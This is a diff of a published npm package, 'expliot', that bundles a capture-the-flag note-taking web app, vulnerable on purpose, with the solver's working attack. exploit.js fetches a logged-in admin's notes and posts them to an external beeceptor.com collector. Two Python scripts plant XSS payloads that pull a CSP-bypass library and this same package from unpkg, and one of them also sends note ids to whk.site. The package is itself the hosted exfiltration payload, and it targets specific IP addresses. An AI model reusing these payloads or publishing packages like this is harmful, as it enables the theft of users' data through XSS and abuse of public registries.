expliot 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/app/Dockerfile ADDED
@@ -0,0 +1,25 @@
1
+ FROM python:alpine
2
+ RUN pip3 install flask redis rq
3
+
4
+ COPY . /app
5
+
6
+ WORKDIR /app
7
+
8
+ RUN adduser -D -u 1000 ctf
9
+ RUN chown -R ctf:ctf /app
10
+ RUN chmod -R 555 /app && chmod -R 744 /app/notes
11
+
12
+ RUN mkdir -p /app/notes/admin && rm -rf /app/notes/admin/*
13
+ RUN UUID=$(python -c 'import uuid; print(uuid.uuid4(), end="")') && \
14
+ echo -e "admin\nFLAG1\nFLAG{flag-1}" > "/app/notes/admin/$UUID"
15
+
16
+ RUN chmod -R 555 /app/notes/admin
17
+
18
+ RUN echo 'FLAG{flag-2}' > "/flag2-$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 16).txt" && \
19
+ chmod 444 /flag2-*
20
+
21
+ USER ctf
22
+
23
+
24
+ CMD [ "sh", "-c", "flask run --host=0.0.0.0 --port=5000" ]
25
+
package/app/app.py ADDED
@@ -0,0 +1,157 @@
1
+ from flask import Flask, render_template, request, redirect, url_for, flash, jsonify, session
2
+ from uuid import uuid4
3
+ from functools import wraps
4
+ from secrets import token_urlsafe
5
+ import os
6
+ import re
7
+ import sqlite3
8
+ import urllib.request
9
+
10
+
11
+ app = Flask(__name__)
12
+ app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY", 'super secret key')
13
+
14
+ from rq import Queue
15
+ from redis import Redis
16
+ app.queue = Queue(connection=Redis('xss-bot'))
17
+
18
+ NOTES_DIR = "notes"
19
+
20
+ users = {"admin": os.environ.get("ADMIN_PASSWORD", "admin")}
21
+
22
+
23
+ def login_required(f):
24
+ @wraps(f)
25
+ def decorated_function(*args, **kwargs):
26
+ if not "username" in session:
27
+ flash("You must be logged in to view this page!", "error")
28
+ return redirect(url_for("login"))
29
+ return f(*args, **kwargs)
30
+
31
+ return decorated_function
32
+
33
+
34
+ @app.after_request
35
+ def add_header(response):
36
+ # add content security policy header
37
+ response.headers['Content-Security-Policy'] = "default-src 'self'; style-src 'unsafe-inline'; script-src 'self' https://unpkg.com/"
38
+ return response
39
+
40
+ @app.get("/")
41
+ @login_required
42
+ def index():
43
+ return render_template("index.html")
44
+
45
+
46
+ @app.get("/login")
47
+ def login():
48
+ return render_template("login.html")
49
+
50
+
51
+ @app.post("/login")
52
+ def action_login():
53
+ username = request.form.get("username")
54
+ password = request.form.get("password")
55
+
56
+ if len(username) < 5 or len(password) < 5:
57
+ flash("Username or password too short!", "error")
58
+ return redirect(url_for("login"))
59
+
60
+ if not re.match(r"^[a-zA-Z0-9_]+$", username):
61
+ flash(
62
+ "Username must only contain alphanumeric characters and underscores!",
63
+ "error"
64
+ )
65
+ return redirect(url_for("login"))
66
+
67
+ if username in users and users[username] == password:
68
+ session["username"] = username
69
+ return redirect(url_for("index"))
70
+ elif username not in users and not os.path.exists(os.path.join(NOTES_DIR, username)):
71
+ users[username] = password
72
+ os.mkdir(os.path.join(NOTES_DIR, username))
73
+ flash("Successfully registered!", "success")
74
+ return redirect(url_for("login"))
75
+ else:
76
+ flash("Invalid username or password!", "error")
77
+ return redirect(url_for("login"))
78
+
79
+ @app.get("/note")
80
+ def note():
81
+ return render_template("note.html")
82
+
83
+
84
+ @app.get("/api/notes/all")
85
+ @login_required
86
+ def api_notes():
87
+ notes = []
88
+ user_dir = os.path.join(NOTES_DIR, session["username"])
89
+ for filename in os.listdir(user_dir):
90
+ with open(os.path.join(user_dir, filename)) as f:
91
+ notes.append({
92
+ "id": filename,
93
+ "author": f.readline().strip(),
94
+ "title": f.readline().strip()
95
+ })
96
+ return jsonify(notes)
97
+
98
+
99
+ @app.post("/api/notes")
100
+ @login_required
101
+ def api_create_note():
102
+ if session["username"] == "admin":
103
+ return {"error": "Admin cannot create notes!"}, 403
104
+ user_dir = os.path.join(NOTES_DIR, session["username"])
105
+ note_id = str(uuid4())
106
+ title, content = request.json["title"], request.json["content"]
107
+ if len(title) > 48 or len(content) > 256:
108
+ return {"error": "Title or content too long!"}, 400
109
+ with open(os.path.join(user_dir, note_id), "w") as f:
110
+ f.write(session["username"] + "\n")
111
+ f.write(title + "\n")
112
+ f.write(content)
113
+ return {"id": note_id}
114
+
115
+
116
+ @app.get("/api/notes")
117
+ @login_required
118
+ def api_get_note_content():
119
+ note_id = request.args.get("id")
120
+ author = request.args.get("author") or session.get("username")
121
+
122
+ if not note_id or ".." in note_id:
123
+ return {"error": "Invalid note ID!"}, 400
124
+
125
+ if not author or not re.match(r"^[a-zA-Z0-9_]+$", author):
126
+ return {"error": "Invalid author!"}, 400
127
+
128
+ user_dir = os.path.join(NOTES_DIR, author)
129
+
130
+ if not os.path.exists(os.path.join(user_dir, note_id)):
131
+ return {"error": "Note not found!"}, 404
132
+
133
+ with open(os.path.join(user_dir, note_id)) as f:
134
+ note_author = f.readline().strip()
135
+ title = f.readline().strip()
136
+ content = f.read().strip()
137
+
138
+ if session['username'] != 'admin' and note_author != session["username"]:
139
+ return {"error": "You do not have permission to view this note!"}, 403
140
+
141
+ return {"author": note_author, "title": title, "content": content}
142
+
143
+
144
+ @app.post("/report")
145
+ def report():
146
+ note_id = request.form.get("note_id", "") # uuid
147
+ author = request.form.get("author", "")
148
+
149
+ if not re.match(r"^[a-zA-Z0-9_]+$", author) or not re.match(r"^[0-9a-f]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}$", note_id):
150
+ return "Invalid author or note ID!"
151
+
152
+ if not os.path.exists(os.path.join(NOTES_DIR, author, note_id)):
153
+ return "Note not found!"
154
+
155
+ app.queue.enqueue("bot.browse", "/note?id=" + note_id + "&author=" + author)
156
+
157
+ return "<meta http-equiv='refresh' content='1;url=/'><h1>Report submitted!</h1>"
@@ -0,0 +1,48 @@
1
+ function updateNoteList() {
2
+ fetch('/api/notes/all')
3
+ .then(res => res.json())
4
+ .then(result => {
5
+ const noteList = document.querySelector('#noteList');
6
+ noteList.innerHTML = '';
7
+ result.forEach(note => {
8
+ const div = document.createElement('div');
9
+ div.className = 'note'
10
+ const h2 = document.createElement('h2');
11
+ h2.innerText = note.title;
12
+ div.appendChild(h2);
13
+ const p = document.createElement('p');
14
+ p.innerText = `Author: ${note.author || '(anonymous)'}`;
15
+ div.appendChild(p);
16
+
17
+ div.onclick = () => location.href = `/note?id=${note.id}`;
18
+ noteList.appendChild(div);
19
+ });
20
+ })
21
+ }
22
+
23
+ const form = document.querySelector('#form');
24
+ form.addEventListener('submit', (e) => {
25
+ e.preventDefault();
26
+ const data = {
27
+ title: form.title.value,
28
+ content: form.content.value
29
+ };
30
+ fetch('/api/notes', {
31
+ method: 'POST',
32
+ body: JSON.stringify(data),
33
+ headers: new Headers({
34
+ 'Content-Type': 'application/json'
35
+ })
36
+ }).then(res => res.json())
37
+ .then(result => {
38
+ form.title.value = '';
39
+ form.content.value = '';
40
+ if (result.error) {
41
+ alert(result.message);
42
+ return;
43
+ }
44
+ updateNoteList();
45
+ })
46
+ })
47
+
48
+ updateNoteList();
@@ -0,0 +1,32 @@
1
+ const noteId = new URLSearchParams(window.location.search).get('id');
2
+ const author = new URLSearchParams(window.location.search).get('author');
3
+ let apiUrl = '/api/notes?id=' + noteId;
4
+ if (author) apiUrl += '&author=' + author;
5
+ fetch(apiUrl)
6
+ .then(res => res.json())
7
+ .then(result => {
8
+ if (result.error) {
9
+ alert(result.error);
10
+ location.href = "/";
11
+ return;
12
+ }
13
+ const note = document.querySelector('#note');
14
+ note.innerHTML = `
15
+ <h1>${result.title}</h1>
16
+ <p>${marked.parse(result.content)}</p>
17
+ <hr/>
18
+ <span style="color: #999">
19
+ By @${result.author}・🔒 Private・
20
+ <form action="/report" style="display: inline" method="post">
21
+ <input type="hidden" name="note_id" value="${noteId}">
22
+ <input type="hidden" name="author" value="${result.author}">
23
+ <input type="submit" value="Report">
24
+ </form>
25
+ </span>
26
+ `;
27
+ note.querySelector('form').addEventListener('submit', e => {
28
+ e.preventDefault();
29
+ if (!confirm('Are you sure to report this note?')) return;
30
+ e.target.submit();
31
+ })
32
+ });
@@ -0,0 +1,54 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Note</title>
8
+ <style>
9
+ body {
10
+ font-family: Arial, Helvetica, sans-serif;
11
+ padding: 0 20vw;
12
+ }
13
+
14
+ @media screen and (max-width: 768px) {
15
+ body {
16
+ padding: 0;
17
+ }
18
+ }
19
+
20
+ #noteList {
21
+ display: flex;
22
+ flex-wrap: wrap;
23
+ }
24
+
25
+ .note {
26
+ cursor: pointer;
27
+ width: 250px;
28
+ border: 1px solid #ccc;
29
+ margin: 10px;
30
+ padding: 10px;
31
+ }
32
+
33
+ .note:hover {
34
+ background: #eee;
35
+ }
36
+ </style>
37
+ </head>
38
+
39
+ <body>
40
+ <h1>Online Note</h1>
41
+ <form id="form">
42
+ <p><input type="text" name="title" placeholder="Title"></p>
43
+ <p><textarea name="content" cols="30" rows="3" placeholder="> Markdown Content"></textarea></p>
44
+ <input type="submit" value="Add note">
45
+ </form>
46
+
47
+ <hr>
48
+ <h2>Note list</h2>
49
+ <div id="noteList">...</div>
50
+
51
+ <script src="/static/main.js"></script>
52
+ </body>
53
+
54
+ </html>
@@ -0,0 +1,54 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Login</title>
8
+ <style>
9
+ body {
10
+ display: flex;
11
+ flex-direction: column;
12
+ align-items: center;
13
+ justify-content: center;
14
+ min-height: 100vh;
15
+ }
16
+
17
+ form {
18
+ display: flex;
19
+ flex-direction: column;
20
+ align-items: center;
21
+ justify-content: center;
22
+ }
23
+
24
+ input {
25
+ margin: 10px;
26
+ padding: 10px;
27
+ width: 200px;
28
+ }
29
+
30
+ hr {
31
+ width: 100%;
32
+ }
33
+
34
+ .message {
35
+ color: red;
36
+ }
37
+ </style>
38
+ </head>
39
+
40
+ <body>
41
+ {% for message in get_flashed_messages() %}
42
+ <div class="message">{{ message }}</div>
43
+ {% endfor %}
44
+
45
+ <h1>Login & Register</h1>
46
+ <form action="/login" method="post" id="login-form">
47
+ <input type="text" name="username" placeholder="username">
48
+ <input type="password" name="password" placeholder="password">
49
+ <input type="submit" value="login">
50
+ </form>
51
+
52
+ </body>
53
+
54
+ </html>
@@ -0,0 +1,41 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Note</title>
8
+ <style>
9
+ body {
10
+ font-family: Arial, Helvetica, sans-serif;
11
+ padding: 0 20vw;
12
+ }
13
+
14
+ @media screen and (max-width: 768px) {
15
+ body {
16
+ padding: 0;
17
+ }
18
+ }
19
+
20
+ hr {
21
+ margin: 20px 0;
22
+ /* color */
23
+ border-top: 1px solid #ddd;
24
+ border-bottom: 1px solid #ddd;
25
+ }
26
+
27
+ #note {
28
+ border: 1px solid #ccc;
29
+ margin: auto 0;
30
+ padding: 10px;
31
+ }
32
+ </style>
33
+ </head>
34
+
35
+ <body>
36
+ <div id="note"></div>
37
+ <script src="https://unpkg.com/marked@11.1.0/marked.min.js"></script>
38
+ <script src="/static/note.js"></script>
39
+ </body>
40
+
41
+ </html>
package/app/uwsgi.ini ADDED
@@ -0,0 +1,5 @@
1
+ [uwsgi]
2
+ module = app
3
+ callable = app
4
+ uid = 2000
5
+ gid = 2000
package/bot/Dockerfile ADDED
@@ -0,0 +1,20 @@
1
+ FROM python:3.11
2
+
3
+
4
+ RUN apt update && \
5
+ apt install -y --no-install-recommends chromium-driver redis-server
6
+
7
+
8
+ RUN apt update && \
9
+ apt install -y --no-install-recommends chromium
10
+
11
+ RUN rm -rf /var/lib/apt/lists/*
12
+
13
+ RUN pip3 install --no-cache-dir selenium redis rq
14
+
15
+ COPY bot.py /bot.py
16
+ COPY run.sh /run.sh
17
+ RUN chmod +x /run.sh
18
+
19
+ RUN useradd --no-create-home --home-dir / --shell /bin/false user
20
+ CMD bash /run.sh
package/bot/bot.py ADDED
@@ -0,0 +1,43 @@
1
+ #!/usr/bin/env python3
2
+ import time
3
+ import os
4
+
5
+ from selenium.webdriver import Chrome
6
+ from selenium.webdriver.common.by import By
7
+ from selenium.webdriver.chrome.options import Options
8
+ from selenium.common.exceptions import TimeoutException, WebDriverException
9
+
10
+ TIMEOUT = 5
11
+
12
+
13
+ def browse(path):
14
+ options = Options()
15
+ options.headless = True
16
+ options.add_argument('--headless')
17
+ options.add_argument('--no-sandbox')
18
+ options.add_argument('--disable-dev-shm-usage')
19
+ options.add_argument('--no-expose-wasm')
20
+ options.add_argument('--js-flags=--jitless')
21
+
22
+ chrome = Chrome(options=options)
23
+ chrome.set_page_load_timeout(TIMEOUT)
24
+ chrome.set_script_timeout(TIMEOUT)
25
+
26
+ try:
27
+ # login
28
+ base_url = 'http://web'
29
+ username, password = 'admin', os.getenv('ADMIN_PASSWORD')
30
+
31
+ chrome.get(base_url + "/login")
32
+ chrome.find_element('name','username').send_keys(username)
33
+ chrome.find_element('name','password').send_keys(password)
34
+ # input[type="submit"]
35
+ chrome.find_element(By.CSS_SELECTOR, 'input[type="submit"]').click()
36
+
37
+ # visit
38
+ chrome.get(base_url + path)
39
+ time.sleep(TIMEOUT)
40
+ except (TimeoutException, WebDriverException) as e:
41
+ print(e)
42
+ finally:
43
+ chrome.quit()
package/bot/run.sh ADDED
@@ -0,0 +1,6 @@
1
+ #!/usr/bin/env bash
2
+ redis-server --protected-mode no &
3
+ for _ in {1..4}; do
4
+ rq worker &
5
+ done
6
+ sleep infinity
@@ -0,0 +1,20 @@
1
+ version: "3.5"
2
+
3
+ x-share-env: &share-env
4
+ ADMIN_PASSWORD: ztLsRe2dX8praTtf5L1FBSY5VuSSXy0Edb01q3AQVgs
5
+ SECRET_KEY: jR8swB-gpkgILCG2HCMkz1LVWG0Jlj7ANaaRW4ohSZI
6
+
7
+ services:
8
+ web:
9
+ depends_on:
10
+ - xss-bot
11
+ build: ./app
12
+ ports:
13
+ - 10082:5000/tcp
14
+ environment:
15
+ <<: *share-env
16
+
17
+ xss-bot:
18
+ build: ./bot
19
+ environment:
20
+ <<: *share-env
package/exploit.js ADDED
@@ -0,0 +1,16 @@
1
+ function leakDataFromEndpoint() {
2
+ fetch('http://10.113.184.121:10082/api/notes/all')
3
+ .then(response => response.json())
4
+ .then(data => {
5
+ fetch('https://ntuctf.free.beeceptor.com', {
6
+ method: 'POST',
7
+ body: JSON.stringify(data),
8
+ headers: { 'Content-Type': 'application/json' }
9
+ });
10
+ })
11
+ .catch(error => console.error('Error:', error));
12
+ }
13
+
14
+ window.parent.leakDataFromEndpoint = leakDataFromEndpoint;
15
+
16
+ leakDataFromEndpoint();
package/for_local.py ADDED
@@ -0,0 +1,47 @@
1
+ import requests
2
+ from bs4 import BeautifulSoup
3
+
4
+ # The login URL and the target URL for creating a note
5
+ login_url = 'http://140.112.29.205:10082/login'
6
+ create_note_url = 'http://140.112.29.205:10082/api/notes'
7
+
8
+ # Your login credentials
9
+ credentials = {
10
+ 'username': '12345',
11
+ 'password': '12345'
12
+ }
13
+
14
+
15
+ #測試npm-2
16
+ xss_payload = """
17
+ <iframe srcdoc="
18
+ <script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
19
+ <script src='https://unpkg.com//test_ctf_ntu_fetch_3/test_ctf_ntu_fetch.js'></script>
20
+ <br csp= 'leakDataFromEndpoint()'>
21
+ "></iframe>
22
+ """
23
+
24
+ # Start a session so we can have persistent cookies
25
+ session = requests.session()
26
+
27
+ # First, login to the site
28
+ login_response = session.post(login_url, data=credentials)
29
+
30
+ # Check if login was successful
31
+ if login_response.ok:
32
+ # Now, create the note with the XSS payload
33
+ note_data = {
34
+ 'title': 'TestNote_1',
35
+ 'content': xss_payload # Inserting the XSS payload into the note content
36
+ }
37
+ create_note_response = session.post(create_note_url, json=note_data)
38
+
39
+ # Check if the request to create a note was successful
40
+ if create_note_response.ok:
41
+ print('Note with XSS payload created successfully')
42
+ else:
43
+ print('Failed to create note with XSS payload')
44
+ print('Status Code:', create_note_response.status_code)
45
+ print('Response:', create_note_response.text)
46
+ else:
47
+ print('Login failed')
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "expliot",
3
+ "version": "1.0.0",
4
+ "description": "getting notes",
5
+ "main": "exploit.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "robert",
10
+ "license": "MIT"
11
+ }
package/test_lenght.py ADDED
@@ -0,0 +1,88 @@
1
+ str = '''<iframe srcdoc="<script src='//unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script><script>fetch('/api/notes/all').then(r=>r.json()).then(d=>d.forEach(n=>{let u='//whk.site/7b314';fetch(u,{method:'POST',body:JSON.stringify({id:n.id})})}));</script>"></iframe>
2
+ '''
3
+
4
+ print(len(str))
5
+
6
+
7
+ import requests
8
+ from bs4 import BeautifulSoup
9
+
10
+ # The login URL and the target URL for creating a note
11
+ login_url = 'http://10.113.184.121:10082/login'
12
+ create_note_url = 'http://10.113.184.121:10082/api/notes'
13
+
14
+ # Your login credentials
15
+ credentials = {
16
+ 'username': 'abcabc',
17
+ 'password': 'abcabc'
18
+ }
19
+
20
+ # The XSS payload using an iframe that includes a script from unpkg.com and an attempt to execute alert(1)
21
+
22
+ # 成功塞入alert
23
+ # xss_payload = ("<iframe srcdoc=\"<script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'>"
24
+ # "</script><br csp='alert(1)'>\"></iframe>")
25
+
26
+ # 測試bee -1
27
+ # xss_payload = """
28
+ # <iframe srcdoc=\"
29
+ # <script>
30
+ # // 使用fetch从目标网站获取数据
31
+ # fetch('login/api/notes/all')
32
+ # .then(response => response.json())
33
+ # .then(data => {
34
+ # // 数据获取成功后,将数据发送到Beeceptor端点
35
+ # fetch('https://ntuctf.free.beeceptor.com', {
36
+ # method: 'POST',
37
+ # body: JSON.stringify(data),
38
+ # headers: {'Content-Type': 'application/json'}
39
+ # });
40
+ # })
41
+ # .catch(error => console.error('Error:', error));
42
+ # </script>
43
+ # \"></iframe>
44
+ # """
45
+
46
+ #測試npm-1
47
+ # xss_payload = """
48
+ # <iframe srcdoc="
49
+ # <script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
50
+ # <script src='https://unpkg.com/test_ctf_ntu_fetch/test_ctf_ntu_fetch.js'></script>
51
+ # <script>window.leakDataFromEndpoint();</script>
52
+ # "></iframe>
53
+ # """
54
+
55
+ #測試npm-2
56
+ xss_payload = """
57
+ <iframe srcdoc="
58
+ <script src='https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js'></script>
59
+ <script src='https://unpkg.com//test_ctf_ntu_fetch_3/test_ctf_ntu_fetch.js'></script>
60
+ <br csp= 'leakDataFromEndpoint()'>
61
+ "></iframe>
62
+ """
63
+
64
+
65
+ # Start a session so we can have persistent cookies
66
+ session = requests.session()
67
+
68
+ # First, login to the site
69
+ login_response = session.post(login_url, data=credentials)
70
+
71
+ # Check if login was successful
72
+ if login_response.ok:
73
+ # Now, create the note with the XSS payload
74
+ note_data = {
75
+ 'title': 'XSS_npm_7',
76
+ 'content': "xss_payload" # Inserting the XSS payload into the note content
77
+ }
78
+ create_note_response = session.post(create_note_url, json=note_data)
79
+
80
+ # Check if the request to create a note was successful
81
+ if create_note_response.ok:
82
+ print('Note with XSS payload created successfully')
83
+ else:
84
+ print('Failed to create note with XSS payload')
85
+ print('Status Code:', create_note_response.status_code)
86
+ print('Response:', create_note_response.text)
87
+ else:
88
+ print('Login failed')